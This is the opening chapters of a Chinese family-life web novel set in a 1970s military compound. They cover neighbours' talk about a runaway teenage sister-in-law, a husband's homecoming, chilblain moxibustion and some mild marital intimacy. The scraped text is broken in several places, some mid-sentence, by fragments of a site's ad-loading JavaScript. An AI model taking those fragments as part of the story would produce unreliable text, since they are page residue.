《妈妈去哪了[年代]》 1. 第 1 章 寒冬腊月。 明明是艳阳高照的好天气,外面的寒意却冷到骨子里了。 不足五十米的距离,叫人走得异常艰难。 终于走到冉文霜家门口,常巧芬敲门。 没敲几下,屋里的人应声来开门。 “巧芬,有什么事吗?快进来。”冉文霜刚将粉条泡进水里就听见敲门声,赶紧让人进来。 常巧芬进来,熟练坐到煤炉旁边取暖:“心里烦得很,找你唠几句嗑。” “是因为小姑子吗?”她知道常巧芬小姑子来家属院了。 两家距离近,算是邻居,隔壁发生点什么事情,不用她主动问,常巧芬自己会过来说。 “是因为小姑子,她不是离家出走来到家属院嘛,我说她几句,发现她是真的听不进去话。 我现在不敢说她了,生怕她跑男的家里去。”想到自家小姑子,常巧芬不禁摇头叹气。 冉文霜知道小姑娘是因为父母反对她和一个男人在一起才跑来家属院。 正好大哥要执行任务,在大哥外出执行任务期间,她过来住几天。 说是离家出走,小姑子是在父母知道的情况下过来的。 介绍信都是爸妈联系儿子儿媳妇开的,以探亲的名义过来。 小姑子离家出走,顺带把爸妈让她带给哥嫂的年货带来了。 冉文霜作为邻居,分到了一些蘑菇木耳和风干肠。 她不知道男人的具体情况,有一点很确定:“总要把高中读完,拿到毕业证书才行,都念到高二了,不念完可惜。” 为了男人放弃学业,完全是在犯傻。 “我公婆都不管她能不能念完高中了,宁愿她下乡参加劳动……也不怕你笑话,我跟你说大概是什么状况。” 冉文霜一边做午饭,一边听她讲话。 听完,她能理解爸妈为什么宁愿女儿下乡参加劳动:“这样的男人确实不是良配,十几岁的小姑娘能懂什么,被骗了都帮着数钱。” 对方是三十岁的男人,不是十三岁的男孩了。 十三岁也不是懵懂无知的年纪。 她隔老远都能听到打算盘的声音。 “是啊,男的和我同岁了,只比她大哥小一岁,相差十三四岁,还有个五岁的女儿,她过去给小女孩当后妈? 她自己都还是个孩子! 要是我家老闺女这样,我一天几顿骂不重样,她敢跟男的跑,我就当没生过她。 小姑子骂也骂不得,打也打不得,我心里堵得慌。 到底看上男的什么了? 我听说三十岁还是基层工人,要钱肯定没有的,要长相,公婆信里没提长相,只说了一米七的个头,不是很高,我小姑子自己都有一米七二了。 你说她到底咋想的?” 冉文霜不知道小姑子如何想的:“这种情况,爸妈嫂子越反对,小姑子越抗拒,逆反起来谁也拦不住,当下是不可能后悔的,要和对方过几年日子才能后悔。 如果结婚几年都没后悔,那你们真的没必要管了,再管下去只会气坏自己。” 正当她要再说下去的时候,里屋传来女儿喊妈妈的声音。 她进去里屋。 “妈妈,花!”芍芍将捏成一团的草纸拿给妈妈。 升升也给妈妈一团草纸,他的“花”比妹妹的“花”要正常点。 “是送给妈妈的花吗?谢谢芍芍宝宝,谢谢升升宝宝,妈妈很喜欢你们的花。”接过两团草纸,冉文霜在儿女脸颊上各亲了一口。 确定孩子们没事情,她就由他们在炕上玩,自己继续忙活做午饭。 把里屋和厨房之间的门关上,冉文霜展开草纸,确定两张草纸都是干净的,抚平放在衣服口袋里。 “文霜,你说说遇到这种情况,你会怎么劝?”常巧芬手撑着额头,烦恼极了。 “我遇到?我暂时没遇到过这样的情况。 如果将来芍芍为了一个不怎么样的男人,想要放弃家人,放弃学业,我会先劝她打消这么危险的想法。 念完高中要紧,不能读一半就放弃学业。 感情方面我劝不动,会让我家阿衡出面,把男方吓走,警告他别靠近我们家女儿。 坏人让孩子爸爸来当。” 她家女儿过几个月才满三周岁,她很少会想将来的事情,巧芬问起,她设身处地思考,给出现阶段能想出来的办法。 现在想的办法听起来简单有效,真遇到了哪那么简单。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>常巧芬明白她说的方法不可行:“果然各家情况不同,你说的放在你们家,应该是可以的,放我公婆家……虽说小姑子是他们最小的孩子,他们没有亏待过小闺女,可是平时也疏于教育。 小姑子小时候是哥哥姐姐带着。 大孩子带小孩子能靠谱? 大孩子自己都处于爱犯蠢的年纪。 没人教小姑子道理,让公婆或者她大哥把男的骂走,她还是会闹起来,骂爸妈大哥拆散苦命鸳鸯。” 冉文霜比较反感的是:“不管男人态度如何,对十几岁小姑娘下手都是错的,他知道小姑娘还在读高中吗?” “我小姑子长得比较成熟,像是二十几岁的……二十几岁的人也很年轻,只是十几岁二十几岁确实有差别。 我不是在为男的说话,一开始或许不知道,现在小姑子都闹得离家出走,不能不知道吧?”她自己也没完全摸清状况,一知半解的,不太确定。 “我懂你的意思,无论长相多成熟,小姑娘只有十几岁是不争的事实,只要男的有那个心思,就是不对的。”冉文霜想法不变。 “说出来感觉好多了,我也该回去做饭了。”常巧芬唠完回家。 ... “弟妹,我来了。” 常巧芬离开一个小时后,冉文霜听到熟悉的声音,将门打开。 是丈夫和贺志年一起来了。 “你们过来我就能下粉条了,先坐下来取暖吧。”她将泡在水里的粉条冲洗几次后下进锅里。 贺志年也是很熟练坐到煤炉旁:“阿衡归心似箭,一路上走得飞快,我差点追不上他。 弟妹,你说他几句,雪都没融化,地面滑,走那么快摔倒怎么办。” 冉文霜听贺志年的话,说丈夫几句:“你走路别太急了,滑倒该怎么办,别以为冬天穿得厚摔不伤骨头,凡事都有万一,万一伤到骨头,有你疼的。” 差不多的话,从冉文霜嘴里说出来和从贺志年嘴里说出来感觉完全不一样。 谢衡在妻子面前乖顺得像只小绵羊:“好,我以后走慢点。” “弟妹,你还是别说他了,小心把他说爽了。”贺志年打趣谢衡。 谢衡给了他一个肘击:“少废话。” 2. 第 2 章 贺志年中午过来不只是为了蹭吃蹭喝。 升升和芍芍听到不一样的动静,从里屋过来厨房。 他们见到常阿姨的次数比见到爸爸的次数多,所以常阿姨来家里,他们都没好奇到厨房一探究竟的想法。 升升见是爸爸回家了,向妹妹介绍爸爸。 妹妹年纪太小,记性差,一周没见到爸爸都可能忘记爸爸,更何况半个月没见。 芍芍听见哥哥的介绍,凑近爸爸,仔细观察爸爸三秒钟。 观察完立马回到哥哥身边,和哥哥嘀嘀咕咕回里屋去了。 小朋友们去做花送给爸爸。 在两个小朋友送爸爸两团说是花的草纸的时候,贺志年把手套摘下来给冉文霜看:“弟妹,你看看我这手,艾灸能好吗?” 冉文霜看到了贺志年的萝卜手:“艾灸不能好,如果是每年反复发作,得调理身体,改掉一些容易长冻疮的习惯。” 贺志年是教导员,本身家境也不差,应该不至于连保暖工作都做不好。 “艾灸一点用都没有吗?”贺志年眉眼耷拉下来,看着可怜兮兮的。 “有一点用,你的手没有溃破,自己按揉也能稍微缓解状况,你想要艾灸吗?”每个人情况不同,丈夫有年得了冻疮,她不确定是不是在她的帮助下好的,反正后面他做好保暖工作没有复发了。 反复就很麻烦。 贺志年是不多几个知道她学过中药的人,连邻居常巧芬都不知道这事。 也是无意中被他发现的。 她和丈夫让他不要宣扬出去。 她学中药,不是学中医! 再说了,她都没参加过相关工作,最多在家炮制一些药材,用在自己和丈夫身上,从来不敢用在别人身上。 出事了要算在她身上,对她来说太沉重。 丈夫是一样的想法,不希望她当出头鸟。 谢衡认为家属院有卫生所,看病去找医生再方便不过,不要找他的妻子。 贺志年俨然把冉文霜当成了一个能治病的医生了。 这叫冉文霜压力很大。 她确定她没有任何当医生的志向。 他都求上门了,她不好拒绝。 这边说着艾灸,那边升升把花送给爸爸,没听到爸爸说谢谢,教爸爸收到花要说谢谢。 芍芍在边上附和:“谢谢!” 她不是在替爸爸说谢谢。 她看着爸爸说谢谢的 ,意思是她都教爸爸怎么说谢谢啦,学她说话就好。 谢衡看着两个孩子:“谢谢你们的花。” 他都不用确定草纸脏不脏,直接塞口袋里。 他太过相信妻子,坚信被妻子教导的孩子们不会调皮捣蛋拿脏纸团戏弄爸爸。 向孩子们道谢过后,他对贺志年说:“饭后我帮你做艾灸。” “好的,弟妹在边上盯着,别把我手烫破皮就行。”贺志年无所谓谁来灸了。 小朋友们听到爸爸的谢谢就回里屋了,没想要爸爸的亲亲。 爸爸是不臭,但也不香暖,冷冷硬硬的,他们并不想被爸爸亲。 ... 到了吃午饭时间,谢衡收拾炕上的小孩玩具,被褥也都收起来,摆上炕桌。 午饭是杂粮饭配白菜土豆炖粉条,里面有肉片,不是很多。 冉文霜帮女儿捣鼓了一小碗土豆泥汤饭,问贺志年:“我放了辣椒,对你来说会不会太辣了?” 小朋友们吃的份,她另外盛出来了,大人吃的加了不少辣椒。 “这才哪到哪,我老家是吃辣大省,这点最多算微微辣,完全辣不到我,我自己在家吃饭,放辣椒都跟不要钱似的。”贺志年并不怕辣。 “那你以后再来吃饭,我给你做道辣菜。”冉文霜不知道他爱吃辣,今天算是记住了。 谢衡:“你别惯着他,有什么吃什么。” “谢衡,你的心是石头做的吧。”贺志年捂心,一副受伤表情。 “面对你,确实是石头做的,快吃饭,再不快点吃,饭都要凉了。”谢衡不理会他的表演。 饭后。 冉文霜切了生姜片,给丈夫指出合谷穴的位置,让他把生姜片覆盖在上面,隔着生姜片做艾灸。 合谷穴,别名虎口。 口头描述具体位置,贺志年可能听不懂,她家男人懂的,她特意指出来只是为了让贺志年安心。 不知道为什么,她说的话在贺志年心里和真医生说的话一样有信服力,她指出来,他能安心点。 她只要指出来让贺志年看见就行,怎么做艾灸,谢衡知道的。 原本姜片该放到肿的地方,奈何他两只手都成了萝卜手,面积太广,干脆给“万能穴”做艾灸,当是活血化瘀。 艾灸开始了,她交代两句注意事项后,回里屋陪孩子们玩。 冬天不需要下地种菜种粮食,有需要她们做的其他活计,昨天许多工作都收尾了,这当中包括了冉文霜的工作。 今天开始休息,待在家里为过年做准备。 在里屋陪孩子们玩了会儿,她不太放心,来厨房看看状况。 两个大男人都挺安静。 一向话很多的贺教导员也没瞎贫。 估计是担心瞎贫后,谢衡直接将点燃的艾条戳他手上。 冉文霜过来,贺志年才开口和她闲聊几句。 有她在,谢衡不敢对他施行报复手段。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谢衡确实没整他,安静帮他做着艾灸。 “晚点我给你三个小药包,每天睡前煎水泡手十五分钟。 记得要等水温降下来,差不多温热的时候再泡手,不要滚烫的时候就着急把手伸进去,会伤上加伤。 也不要喝它,它是外用的,不能服用。” 当地冬天实在寒冷,入冬前,她特意做了许多药包用来应付冻疮。 没长冻疮也能泡泡。 药包可以煎水喝,不建议喝。 泡手和喝剂量完全不同。 贺志年一听,对专注的谢衡说:“我不许任何人忤逆弟妹,包括你这个弟弟。” “谁是你弟弟,再啰嗦你自己灸。”谢衡终于忍不住了。 全身艾灸需要按照顺序来,有一定难度,单一穴位,尤其是合谷穴艾灸,完全能自己来。 贺志年还真不敢自己随便来:“弟妹,你看他!” 冉文霜很无奈:“我在看着他呢,算了,我回里屋,省得打扰到你们。” 她一走,厨房的两人又安静下来了。 艾灸结束后,贺志年拿到三个小药包。 如果有人问他药包来历,他会说一个部下老家住中药房附近,爸妈没事爱给他寄点药材过来,他人大方,分了一些给他这个上级。 “我能不能带我媳妇孩子加入你们家?”走之前,贺志年问谢衡。 谢衡的回答是:“滚蛋。” ... 下午三点多,常巧芬又过来一趟。 这次上门直接说要带升升和芍芍去她家玩,让小姑子体验一下带小孩的痛苦。 常巧芬的想法是:“你们家孩子太乖了,有坏处也有好处,坏处是怕她开始喜欢小孩子,好处是你家升升年纪和那个男人的女儿差不多,这个年纪孩子再乖,话多起来也烦人。 我家孩子年纪比你家的大些,在他们小姑子面前不敢吵吵闹闹,再来两个小朋友,他们会闹腾起来的。” 不知道她家孩子像谁,大人面前无比内向,打招呼都要她提醒。 小姑姑在他们眼里是大人,面对大人就不闹腾了。 不是狗都嫌的年纪吗? 可劲闹让小姑姑烦你们啊! 升升和芍芍不是第一次去隔壁玩,他们都认识邻居哥哥姐姐。 即使是年纪很小的芍芍,只要有哥哥在身边,她也能暂时离开妈妈,和邻居哥哥姐姐玩一会儿。 冉文霜没多少意见:“那让升升芍芍过去玩吧,我好把衣服裤子放炕上烘干。” 放外面风干的衣服裤子硬到无异于武器,她每次把衣服裤子收起来放炕上都要防止孩子们拿去玩。 一不小心就受伤了。 3. 第 3 章 常巧芬后知后觉,压低声音问起:“你家男人是不是在家?” “中午回来了,现在在里屋休息。”冉文霜回答她的话。 “那行,我尽量让两个小朋友在我家待一个小时以上,你和你家男人好好亲热一番。” 冉文霜嗔她一句:“说的什么话。” “都生两个孩子了,有什么好害羞的……我该不该告诉小姑子,生下丑孩子,看着丑孩子心情都会变差?” 升升芍芍两个小朋友实在玉雪可爱,但凡爸爸长相平凡,孩子都不会这么可爱。 爸爸的基因比想象中强大多了。 即使父母都好看,孩子也不一定长得好看。 升升芍芍太会长了。 她要不要在小姑子面前故意提两句爸爸丑,孩子也会很丑的话? 冉文霜不太赞同:“没必要说的,母爱有时候会蒙蔽眼睛,让母亲分不清美丑,觉得自家孩子就是最可爱最好看的,恨不得全世界知道自己孩子可爱。 我不好评判男方长相,既然小姑子都不介意对方长相,那就更不介意生下像对方的孩子了,孩子肉乎乎的,总比男人可爱许多。” 她不会在外面夸自家孩子多可爱多好看,会惹人厌烦,自己在家夸夸就行。 “这么说也有道理,都不嫌弃男人丑了,更不会嫌弃像男人的小孩,那我不提这句了,你把升升芍芍从被窝里捞出来吧。” “好,你等我一会儿。”冉文霜去里屋。 差不多十几分钟过去,两个孩子才穿戴完毕,带上小布包和玩具去隔壁。 “已经走了?”谢衡见妻子进来,问了一句。 “已经走了,如果你不在家,我这会儿也在隔壁了……我不是在暗示你什么。” 方才巧芬的话突然跳进她脑海里,让她觉得自己现在说什么都不对劲。 谢衡去锁门,冉文霜躺在炕上,既然待会儿要亲热,她不扭捏了,等丈夫来到炕上:“先说明,我也想要你,但是你得听我的话。” “我听你的话,随便你骑我。” “我没说要骑你!”冉文霜忍不住羞恼。 “好,你没说要骑我,我在家什么时候不听你的话了?不都是你说什么是什么。”家里孩子可能会不听妈妈的话,他一定听媳妇的话。 冉文霜一下子听出他话里的漏洞:“我看你是成心的,在家听我的话,到外面就把我说的话忘在脑后……我现在不和你计较。” 谢衡:“抓紧时间。” “别和我说抓紧时间,我看芍芍的急性子就是学你的。” 女儿不会说话走路之前还看不大出来,会说话走路后,冉文霜就发现女儿是个小急性子。 你不能和她着急,你越急,她也越急。 冉文霜自己性子不急不慢,认为两种都不太好,于是在日常生活中引导女儿别着急,遇事不要慌张。 例如和哥哥一起叠小毛巾,哥哥叠好了,她没好,不要着急,按自己的速度来,不用和哥哥比快。 谢衡:“我也不是急性子。” “你不是急性子,这会儿就不会抱着我了。”不光抱着她,还抱着她亲。 谢衡不否认这方面是急性子,半个月没有夫妻生活,他能不着急吗? ... “我去接孩子们回家。”只是很短的距离,冉文霜还是将围巾帽子都戴好。 谢衡没跟着一起去,待在家里烧火煮粥。 冉文霜来到常巧芬家里,见到了常巧芬的小姑子。 她没和对方说一句话,忙着应付自家小朋友。 芍芍迫不及待把常阿姨送她的糖交给妈妈。 冉文霜温柔问女儿:“是送给妈妈吃还是要和妈妈一起吃?” 升升帮妹妹解释。 因为妹妹年纪小,阿姨不让妹妹在她家吃糖,叫妹妹把糖拿给妈妈,妈妈喂她吃。 哥哥解释完,芍芍就说一起吃,和妈妈一起吃。 冉文霜大概理解升升的意思了,巧芬没法时时盯着芍芍,担心芍芍噎着呛着,干脆让小朋友在妈妈监督下吃。 她回答芍芍:“好,妈妈和你一起吃。” 一家三口回家。 冬天天黑得快,厨房里已经点上煤油灯了。 升升去里屋找出小纸片,考考爸爸。 小纸片上是妈妈画的,附带药名的简易版中药药材。 冉文霜没事的时候教孩子认字就用这些小纸片,也不需要孩子认识药性,认识字就行了。 芍芍本来正和妈妈黏糊着呢,看哥哥考爸爸,她也凑过去。 有丈夫带着两个孩子,冉文霜去削土豆。 家里地窖有的是白菜、 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 萝卜和土豆。 晚上就做炒土豆丝来吃。 将切好的土豆丝洗几遍,洗土豆丝的水留着,能用来洗别的菜。 水差不多清澈了,她在炒之前先简单给土豆丝焯水,这样炒出来的土豆丝清爽些。 升升从考爸爸变成考妹妹,爸爸的文化水平过关。 幼儿园文凭都没有的芍芍能认得几个大字?全都乱念的,有时候两个字能“睁眼瞎”念成三个字。 被哥哥纠正多了,芍芍信心被打碎一地,不玩了,她要找妈妈。 刚铲了些猪油进锅底的冉文霜不防被女儿抱住腿。 食材调味都在手边,不需要走动,她也没推开女儿,随女儿抱着自己的腿。 今天晚饭就吃由中午剩饭煮成的杂粮粥,配上酸辣土豆丝。 辣味可以忽略不计,是芍芍吃了都没事的辣度。 升升不考“学问”的时候,兄妹俩关系就会很好,吃晚饭的时候嘴巴没停过。 兄妹俩吃饭的时候,不忘记和爸爸说话。 家里多了个男人,升升记得男人是爸爸,芍芍对这个爸爸就没有很深的印象了。 经过哥哥介绍,芍芍认识爸爸以后,妈妈的态度就决定了她对爸爸的态度。 妈妈对爸爸态度很好,爸爸回来半天,芍芍已经接受眼前男人是爸爸的事实了。 吃过晚饭,两个小朋友到炕上玩闹。 没两个小朋友纠缠,谢衡对妻子说起:“能帮我按手吗?我自己不敢乱按。” 冉文霜问他:“身体哪里不舒服?你已经是大人了,不舒服该及时说出来,实在难受去军区大医院看看。” “你都知道我是大人了,还用哄小孩子的语气跟我说话。”谢衡受用她的说话语气。 “不然呢,非要我用很凶的语气和你说话,你才舒坦吗?” 他不得不说明:“我身体没有不舒服,只是想被你按按手。” “我又不会拒绝,别说不敢乱按的话了,有什么是你不敢的?”冉文霜给他按手。 他的手比贺志年的萝卜手正常多了,除了摸起来有些粗糙。 没生冻疮。 她又去摸了摸丈夫的耳廓,确定耳朵也没长冻疮:“你的脚脖子没长冻疮吧?” 谢衡:“没有,我身体被你调理得很好,不怎么长冻疮。” 4. 第 4 章 冉文霜并不想把功劳揽在自己身上:“不是我调理的,是你自己身体好。 你一年到头没多少天待在家里,我哪能找着机会帮你调理身体。 不是瞎说,你现在不到三十岁,年富力强,没受过重伤,不到需要我调理的程度,伤到要调理的时候,我会带你去找专业医生。” 丈夫差不多每天训练,身体素质强悍。 身体状态离下坡路有段距离呢。 芍芍看到爸爸妈妈之间的互动,走到妈妈身边,也要妈妈帮自己揉手揉耳朵。 妹妹过来,哥哥升升跟着过来了。 小朋友哪需要按呢? 既然两个小朋友排队过来了,冉文霜装样子揉揉他们柔软的小手和小耳朵。 被妈妈揉过以后,小朋友们回被褥上打滚。 到了冬天,家里孩子最喜欢在被褥上玩,其次是雪地。 小朋友们离开,冉文霜接着给丈夫揉按。 很快到了该睡觉的时间。 芍芍见爸爸躺进妈妈的被窝里,说了两句话。 女儿咬字不太清晰,冉文霜却是听懂了,她在告状。 爸爸抢了妈妈的被窝。 在爸爸回家前,芍芍和哥哥一个被窝,妈妈自己一个被窝。 孩子们的被子比冉文霜盖的轻软舒适,天气暖和的时候,孩子们分别躺在她两边,现在天气冷,不能让孩子们睡她两边了,劝说了许久才分开的。 看到爸爸和妈妈一个被窝,升升没多大反应,因为记得爸爸一直是睡在妈妈身边的。 妈妈不让他和妹妹跟她睡在一起,是他们个头比较小,他们睡妈妈身边,被窝容易漏风,这样三个人都睡不好。 芍芍就没哥哥的“觉悟”了,生气爸爸抢妈妈被窝。 冉文霜只能耐心向气呼呼的女儿解释爸爸为什么和妈妈一个被窝。 解释了十几分钟,芍芍才接受妈妈的说法。 冉文霜挺诧异女儿的逻辑,女儿前面说爸爸和哥哥都是男孩子,爸爸哥哥一个被窝,她和妈妈是女孩子,她要和妈妈一个被窝。 幸好还只是个没读过幼儿园的孩子,很容易被妈妈的话绕晕,迷迷糊糊就不反对爸爸妈妈一个被窝了。 爸爸不是抢,那本来就是爸爸的位置。 终于能歇下,冉文霜刚进被窝,铺散的长发就被拨到一边。 她被身后的男人抱在怀里了。 孩子们在屋里的时候,她不会让丈夫进来自己的身体。 声音小,孩子们听不见是自以为。 孩子们睡着了也是自以为。 芍芍还小,不记事的年纪,升升再过几个月就五周岁,能记点事情。 或许他现在不知道爸妈在做什么,长大后就“恍然大悟”了。 她很抗拒孩子在身边的时候欢好。 不会发出什么动静的小动作倒是不排斥。 这会儿丈夫在亲吻她的后脖颈,大手也伸到她的衣服里了。 比起进入,她更喜欢这些会让她身体酥麻的小动作。 两个小朋友不再说话后,她才拍了拍丈夫的手臂,示意自己要平躺睡觉了。 谢衡听话不再作乱,他也准备睡觉了。 ... “妈妈,我要喝!”看到爸爸出门前喝了碗汤,芍芍也要喝。 升升阻止妹妹:“爸爸喝的,不好喝。” 他是作为过来人劝妹妹。 真的不好喝。 妈妈会单独给爸爸熬煮一些奇怪的汤,他好奇喝过,一口下去就再不对爸爸喝的汤好奇了。 冉文霜知道不让女儿喝到,女儿是不会死心的,于是拿了个小勺,舀一点喂给女儿喝。 小朋友连咽下去都做不到,直接吐回小勺子上了。 冉文霜并没有嫌弃芍芍吐出来的行为,帮小朋友擦了擦嘴巴。 “不好喝,所以给爸爸喝了,难吃难喝的都让爸爸来解决。”她不是给谢衡煎药喝。 算是食补? 都是不怎么伤身体,能当食物的药材,就是不用指望口味如何。 和这些药材煮的汤比起来,白开水都显得很美味了。 之前贺志年喝过,面露难色,硬着头皮喝完一碗,然后对谢衡说,弟妹这么煮,一定有她的道理。 谢衡没吭声,算是默认了。 冉文霜自己都不太能喝下去,谢衡在食物方面的忍耐力比她强太多了。 就没见他喝汤的时候露出过痛苦的神色。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “白菜不好吃,爸爸吃。”芍芍举一反三。 小朋友不喜欢吃白菜,白菜在她眼里是很难吃的食物。 难吃的给爸爸吃。 爸爸吃了白菜,她就不用吃啦。 “不行的,全家都觉得难吃的才给爸爸吃,只有芍芍觉得难吃的就不算难吃。 忘记妈妈和你说什么了吗? 每天都要吃蔬菜,冬天蔬菜少只能吃那么几样,等天气暖和,妈妈做别的菜给你吃。”她家女儿那么小就那么机灵了。 芍芍试图说服妈妈,白菜真的很难吃。 小朋友的词汇量有限,别的方面冉文霜会尊重孩子的意愿,白菜是不会让步的。 难吃也要吃,没得选了。 谢衡听了女儿把自己当成垃圾桶的言论,没多大反应。 他对自家孩子一向宽容。 冉文霜见丈夫喝完汤起身:“爸爸要出门了,跟爸爸说再见。” 自此,白菜话题打住。 芍芍和爸爸说再见,忘记争论大白菜的事了。 ... 上午,常巧芬带着小姑子和孩子们上门。 一群小朋友不想困在屋里,想出去玩。 冉文霜交代许多才放自家孩子出去。 “文霜,你气色很好,是怎么养出来的?”常巧芬今天拿着毛线过来,打毛线衣的同时聊天。 小姑子汤翠玉在缝衣服,缝侄子侄女的衣服。 她待在边上不说话,安静得很。 冉文霜配合常巧芬的没话找话:“我是天生气色好,现在只要早睡早起,三顿饭正常吃,就不会憔悴到哪去的。” 她是说真的,常巧芬第一次见到她,对她的印象是美,气色好。 唇红齿白,眼睛明亮,头发乌黑,发量多。 生了两个孩子后,气色是不如以前了,但在别人看来,依旧有种气血丰盈的美。 冉文霜挺喜欢自己的牙齿,喜欢它们的齐整,自己和丈夫牙齿长得好,不代表孩子也会长得好。 所以孩子们还没换牙,她就在想以后怎么让孩子们保护牙齿了。 常巧芬:“真羡慕你,你这叫……天生丽质对吧?” “或许吧。”冉文霜笑笑。 5. 第 5 章 常巧芬过来肯定不是要探讨冉文霜天生丽质的原因。 只是先说些有的没的而已。 冉文霜不主动挑起话题,常巧芬说什么,她就接什么。 终于,常巧芬忍不住了,说起小姑子喜欢的男人。 话里话外,似乎是要冉文霜认同她的话。 冉文霜注意到汤翠玉的脸色变了。 本来是面无表情,现在眉头皱起,似乎坐不住,想要马上离开。 她昨天下午见到汤翠玉就有些话想说了。 巧芬现在的话语无疑是在刺激小姑子,哪壶不开提哪壶。 冉文霜适时开口:“光听条件的话,我觉得那个男人配不上小玉,小玉长得多好看,再过三四年,找个高大热烈,年纪相近的男人谈更好。” “小玉性子是有点闷,你说的热烈是闹腾吗?这她可吃不消。”常巧芬很快理解冉文霜的思路,顺着她的话讲。 小姑子闷,但是又执拗,并不是内向可以概括的。 没几个内向的人能和爸妈吵架,吵完离家出走。 冉文霜:“没孩子,头婚,这都是最起码的。” 常巧芬:“确实是最起码的,除非等到三四十岁确定不想生孩子,到时候可以找个二婚带娃的搭伙过日子。 男人二婚带娃和女人二婚带娃性质不同。 小玉要是二婚带娃,找头婚男或者找二婚男,姐姐什么话都不说,你才头婚,你和那个男的结婚吃大亏了。” 小姑子没提过要结婚,她觉得没差别了。 冉文霜:“到三四十岁都没孩子的女性,大部分也不会想结婚了,一个人过挺不错的。 养老的事等老了再说,毕竟有儿有女的,儿女也不一定给他们养老,能不气死他们已经不错了。” 不是每个女性都想结婚生子的。 她不排斥结婚生孩子,要不是因为大环境,她会在三十岁左右,工作稳定下来才结婚生子。 现在是提前几年生了。 “差不多就这么个道理。 说起来我当初看上我家男人是觉得他侧脸好看,正脸勉强过得去,没侧脸惊艳。 我不得不承认,谢营每个角度都俊,俊得毫不费力气。”常巧芬说的谢营是指谢衡。 “我看习惯了,我们从认识到现在已经十年。”冉文霜应付道。 巧芬说的没错,她家男人就是俊得毫不费力气。 她偶尔会以枕着他的大腿姿势看他,从他下巴开始看都找不出毛病。 两人初遇在十七八岁的时候。 冉文霜那会儿“见色起意”,第一次感觉到了强烈的心动。 心动到见过一面,已经想象在一起后的场景了。 尽管心动,却没好意思说出来。 自第一次见面后的几年,两人还见过几次,次数不多,谁都没挑明心意。 直到停课动乱,他主动向前迈进一步。 她那会儿正因为学校的事混乱心烦,他的表白没让她心动了,她说希望他能给她时间考虑。 爸妈知道后就劝她接受,和军人结婚会比较安全。 她最后答应了,答应的基础是,她也对谢衡有好感。 要是没好感,不会为了所谓的安全和一个不够了解的男人结婚。 谁知道他会不会打她。 说不好结婚后更危险。 出于虚幻的好感,她倒是不怕死了。 幸好谢衡没有让她失望。 夫妻俩认识十年,相聚陪伴的时间却凑不到三年,说句心里话是,没看够。 等他“年老色衰”了,她才能真正说一句看习惯了。 也是相聚时间不多,现在还会因为他夜里的小动作而浑身酥麻。 常巧芬:“你脾气好,从来没生过气,要是脾气差点,看着他那张脸都能消气。” “妈妈!”芍芍“小炮弹”冲进来,扑到冉文霜怀里。 “是不是冷到了?鼻子都红了,妈妈抱抱。”冉文霜抱住小冰团子。 抱住女儿后,她开玩笑般回常巧芬的话:“没准我从不生气就是因为他那张脸呢。” 常巧芬转头对小姑子说:“小玉,你别把你文霜姐的话当真,她脾气是家属院里数一数二的好,真好,不是假好。 嫉妒她的才说她坏话,即使知道别人说她坏话,她也会大度表示,嘴长在别人身上,我管不住,随她讲吧。 换成我,非得给碎嘴子几个大逼兜才解气。” 在常巧芬和汤翠玉说话的同时,小炮弹芍芍又要冲出去了。 “不是很冷吗?这么快又要出门了?”冉文霜拦住女儿。 “热。”芍芍吐出一个字,是说已经热了的意思。 “等等,妈妈先给你检查一遍。” 冉文霜确定女儿帽子手套戴好,小耳朵挡住了。 最后检查裤脚,将女儿的棉裤裤脚往上卷,确定里面棉毛裤好好扎在厚袜子里,于是放下裤脚,不拦着女儿出去了。 芍芍立马冲向外面的冰雪天地。 小朋友走了,常巧芬语出惊人:“小玉,姐姐还是建议你找个精壮年轻的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 男人,挂在人家身上也爽快。” 汤翠玉总算说出到冉文霜家后的第一句话:“姐,你别说了!” 常巧芬在汤翠玉面前自称姐姐,汤翠玉也喊大嫂为姐,关系应该还好,不然按汤翠玉拧巴的性格,不能跑到大哥大嫂家了。 冉文霜觉得常巧芬话糙理不糙,只是这话实在荤素不忌,她暂时不插话。 常巧芬认为自己找对劝说方向了:“身材和钱财,你总得图一样,你现在这个,是图他年纪大,还是图他有孩子,你不用自己生就能当妈? 文霜都夸你漂亮了,被大美人夸漂亮,你是真的有出息了。” 提到自己,冉文霜不能装聋作哑了:“我哪里是大美人,小玉的长相很有韵味,看骨相,只要不操劳过度,四五十岁会比同龄人显年轻。” “听到没,文霜都说你是享清福的命,你觉得那个男人能让你享清福吗?”常巧芬说着。 冉文霜确定自己不是这个意思,不过也没差多少:“无论如何,都该把高中读完的,如果是被班里同学欺负了,不要不好意思,去告诉爸爸妈妈,让他们解决。” 芍芍没走多久,升升就过来了,也是抱住妈妈取暖,只待一会儿重新跑出去。 冉文霜心想,她不是妈妈,是煤炉子吧? 常巧芬没想到被同学欺负这点,看向小姑子:“你被同学欺负了?被同学欺负了跟姐姐讲,等年过完开学了,我让你哥休两天假,去你们学校收拾欺负你的人。” “没有被欺负。”汤翠玉没抬头,仍是缝补着衣服。 看小姑娘的表情,冉文霜察觉出应该是被欺负了。 她回头再和巧芬聊,现在就不在小姑娘面前提起她的伤心事了。 没过多久,两个小朋友一起进来,冉文霜两个都抱住。 常巧芬暂时不说小姑子了:“升升芍芍都知道进屋子里取暖,我家的小兔崽子是不知道冷吗?长冻疮了有他们难受的!” ... 汤翠玉在除夕前离开家属院了。 有关她可能被欺负的事情,常巧芬写信告知公婆,让他们老两口不要“打草惊蛇”,先找翠玉的同龄人或者同学问问,问她是不是在学校里被欺负了。 冉文霜没有过多关注这事,不用她关注太多,事情解决的话,常巧芬会主动找她说的。 除夕中午在家吃过午饭,两个小朋友睡午觉,冉文霜去家属院礼堂帮忙。 除夕夜家属院大礼堂有表演,家属们在礼堂吃年夜饭。 她不表演节目,她在厨房负责包包子。 6. 第 6 章 她只要负责擀皮包包子就行。 说起来轻松,实际一点不轻松。 吃饭的人多,要保证大人小孩都能吃到包子,工作量就大了。 